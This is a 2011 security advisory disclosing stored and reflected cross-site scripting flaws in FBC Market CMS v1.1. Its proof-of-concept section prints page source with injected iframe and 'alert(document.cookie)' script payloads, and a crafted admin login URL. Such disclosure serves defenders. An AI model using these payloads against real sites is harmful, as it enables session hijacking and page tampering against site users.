Document Title:
===============
FBC Market CMS v1.1 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=281
Release Date:
=============
2011-09-21
Vulnerability Laboratory ID (VL-ID):
====================================
281
Product & Service Introduction:
===============================
FBC-Market is a application that allows you to run your own online marketplace or classifieds listing site
similar to Craigslist. It was written in PHP and uses MySQL to for data storage. Additionally, it uses
jQuery for elegant effects and that web 2.0 pizzazz you ve always dreamed of.
The general design is simple and clean which should go well with any site, customization can be done easily
through the CSS file. You can add your header and footer to it or include it in an iframe and you are ready
to roll. And if you want to get your hands dirty in code, the comments will help you know what is going on.
(Copy of the Vendor Homepage: http://www.freeboxclub.com/)
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple persistent Web Vulnerabilities on FreeBoxClubs FBC-Market CMS v1.1 web application.
Vulnerability Disclosure Timeline:
==================================
2011-09-22: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
1.1
Multiple input validation vulnerabilities(persistent) are detected on FreeBoxClubs FBC-Market CMS v1.1 web application.
Attackers can include persistent malicious script codes to manipulate specific customer requests & modules.
The vulnerability allows an attacker also to hijack customer/admin sessions via persistent script code inject.
The vulnerabilities are located on the category add module of the application.
Vulnerable Module(s):
[+] Categories Add/List, newItem & Index
Pictures:
../1.png
../2.png
../3.png
1.2
An client-side input validation vulnerability(non-persistent) is detected on FreeBoxClubs FBC-Market CMS v1.1 web application.
Remote attackers can hijack customer accounts over the login form/mask with medium required user inter action as malicious link.
Vulnerable Module(s):
[+] Login
Pictures:
../1.png
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with high required user inter action or local low privileged user accounts.
For demonstration or reproduce ...
1.1
Module: newItem.php
<div id="header">
<div style="display: inline; float: right;">
<form name="searchForm" action="index.php" method="get"
style="display: inline; float: right;">
Search: <input name="q" size="8" maxlength="40" value="" type="text">
<input name="" value="Go" type="submit">
</form>
</div>
​​​​​<ul>
<li id=""><a href="index.php?a=1">All</a></li>
<li><a href="index.php?category=5">>​​​​​"<iframe src="http://www.vulnerability-lab.com" heigh<="" a="" width="700"></li
>
<li ><a href='index.php?category=6'>>"<iframe src=http://www.vulnerability-lab.com width="900" heigh
</a></li>
<li ><a href='index.php?category=7'>>"<iframe src=http://www.vulnerability-lab.com
width="700" heigh</a></li>
<li ><a href='index.php?category=8'></a></li>
<li ><
a href='index.php?category=9'> s</a></li>
<li ><a href='index.php?category=4'>>"<iframe
src=http://google.com></a></li>
</ul>
</div>
<div id="md_container">
<div id="md
_contentForm">
<br clear="all" />
<div id='newItemForm'>
<form action="controller.php" method="post"
enctype="multipart/form-data" name="form1" id="form1">
<table border="0" cellpadding="8" cellspacing="0">
<tr>
Module: categories.php
<td>​​​​​>"​​​​​<iframe src="http://www.vulnerability-lab.com" heigh<="" td="" width="700">
<td>0</td>
<td><a href='javascript:editCat("5", ">"<iframe src=http://www.vulnerability-lab.com width="700" heigh", "0")
'>Edit</a>
| <a href="javascript:deleteCategory('5','>"<iframe src=http://www.vulnerability-lab.com
width="700" heigh')" style="color:maroon">Delete</a></td>
</tr>
<tr>
<td>
>"<iframe src=http://www.vulnerability-lab.com width="900" heigh</td>
<td>0</td>
<td><
;a href='javascript:editCat("6", ">"<iframe src=http://www.vulnerability-lab.com width="900" heigh", "0")'>Edit</a>
| <a href="javascript:deleteCategory('6','>"<iframe src=http://www.vulnerability-lab.com width="900" heigh')" style="color:
maroon">Delete</a></td>
</tr>
<tr>
<td>>"<iframe src=http://www.vulnerabil
ity-lab.com width="700" heigh</td>
<td>0</td>
<td><a href='javascript:editCat("7", ">"&
lt;iframe src=http://www.vulnerability-lab.com width="700" heigh", "0")'>Edit</a>
| <a href="javascript:
deleteCategory('7','>"<iframe src=http://www.vulnerability-lab.com width="700" heigh')" style="color:maroon">Delete<
/a></td>
</tr>
<tr>
<td>>"<iframe src=http://google.com></td>
<td>1</td>
<td><a href='javascript:editCat("4", ">"<iframe src=http://google.com>", "1")'>
Edit</a>
| <a href="javascript:deleteCategory('4','>"<iframe src=http://google.com>')" style="color:
maroon">Delete</a></td>
</tr>
</table>
</form>
<script language="JavaScript">
Module: index.php
<div id="header">
<div style="display: inline; float: right;">
<form name="searchForm" action="index.php" method="get"
style="display: inline; float: right;">
Search: <input name="q" size="8" maxlength="40" value="" type="text">
<input name="" value="Go" type="submit">
</form>
</div>
​​​​​<ul>
<li id="current"><a href="index.php?a=1&k=12qwaszxx3EEd">
All</a></li>
<li><a href="index.php?category=5&k=12qwaszxx3EEd">>"​​​​​<iframe src="http://www.vulnerability-lab.com"
heigh<="" a="" width="700"></li>
<li ><a href='index.php?category=6&k=12qwaszxx3EEd'>>"<iframe src=
http://www.vulnerability-lab.com width="900" heigh</a></li>
<li ><a href='index.php?category=7&k=12qwaszx
x3EEd'>>"<iframe src=http://www.vulnerability-lab.com width="700" heigh</a></li>
<li ><a href='index.php?category=8&k=12qwaszxx3EEd'></a></li>
<li ><a href='index.php?category=9&k=12qwaszxx3EEd'> s</a
></li>
<li ><a href='index.php?category=10&k=12qwaszxx3EEd'>>"<script>alert(document.cookie)</script
></a></li>
<li ><a href='index.php?category=4&k=12qwaszxx3EEd'>>"<iframe src=http://google.com
></a></li>
<li ><a href='index.php?category=12&k=12qwaszxx3EEd'>>>"<<script>alert
(document.cookie)</script></a></li>
<li ><a href='index.php?category=11&k=12qwaszxx3EEd'>>>"<
<script>alert(document.cookie)</script></a></li>
</ul>
</div>
<div id="md_container">
<
br clear="all" />
<div id='md_listingBox'>
PoC:
../newItem.php
../categories.php
../index.php
1.2
Module: Login
http://xxx.com/fbcmarket/admin/login.php?msg=HALLO%20THIS%20IS%20REM0VE%20YOUR
%20LOGIN%20IS%20NOT%20SECURE%3Cbr%3E%3Cbr%3E%3Ciframe
%20src=http://vulnerability-lab.com%20width=1000%20height=800%3E%3E
Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
The security risk of the client-side login input validation vulnerability is estimated as low(+).
Credits & Authors:
==================
Vulnerability Research Laboratory - WiiHac
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation